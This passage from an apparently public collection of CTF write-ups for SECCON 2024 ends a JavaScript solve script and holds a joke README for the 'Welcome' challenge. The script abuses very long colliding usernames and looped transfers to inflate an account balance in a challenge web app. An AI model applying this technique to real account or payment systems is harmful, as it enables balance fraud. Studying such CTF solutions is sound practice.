cookie }, 23 | }); 24 | 25 | const data = await res.json(); 26 | if (data.flag) { 27 | console.log(data.flag); 28 | process.exit(0); 29 | } 30 | return data.balance; 31 | }; 32 | 33 | const transfer = async (cookie, recipientName, amount) => { 34 | const res = await fetch(`${baseUrl}/api/transfer`, { 35 | method: "POST", 36 | headers: { "Content-Type": "application/json", cookie }, 37 | body: JSON.stringify({ recipientName, amount }), 38 | }); 39 | return res.json(); 40 | }; 41 | 42 | const prefix = randomId(); 43 | const personA = prefix + "a".repeat(65535 - prefix.length); 44 | const personB = prefix + "b".repeat(65535 - prefix.length); 45 | 46 | const personACookie = await register(personA); 47 | const personBCookie1 = await register(personB); 48 | const personBCookie2 = await register(personB + "2"); 49 | 50 | while (true) { 51 | const balanceA = await checkBalance(personACookie); 52 | console.log("A", balanceA); 53 | console.log(await transfer(personACookie, personB, balanceA)); 54 | const balanceB1 = await checkBalance(personBCookie1); 55 | const balanceB2 = await checkBalance(personBCookie2); 56 | console.log("B1", balanceB1); 57 | console.log("B2", balanceB2); 58 | console.log(await transfer(personBCookie1, personA, balanceB1)); 59 | console.log(await transfer(personBCookie2, personA, balanceB2)); 60 | } 61 | -------------------------------------------------------------------------------- /seccon2024/welcome/README.md: -------------------------------------------------------------------------------- 1 | # Welcome 2 | 3 | Welcome was a hard welcome challenge with 639 solves and worth 50 points. 4 | 5 | ## Description 6 | > Welcome to SECCON CTF 13! 7 | > 8 | > The flag is on Discord. 9 | 10 | 11 | ## Solution Approach 12 | 13 | I'm not sure. I had a hunch that the flag was on discord... Turns out I was right ???? OWO 14 | 15 | 16 | ![welcome.png](./welcome.png) 17 | 18 | # FLAGE :D 19 | 20 | ## Closing Remarks 21 | 22 | Difficult challenge but very enjoyable! 23 | -------------------------------------------------------------------------------- /seccon2024/welcome/welcome.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/welcome/welcome.png --------------------------------------------------------------------------------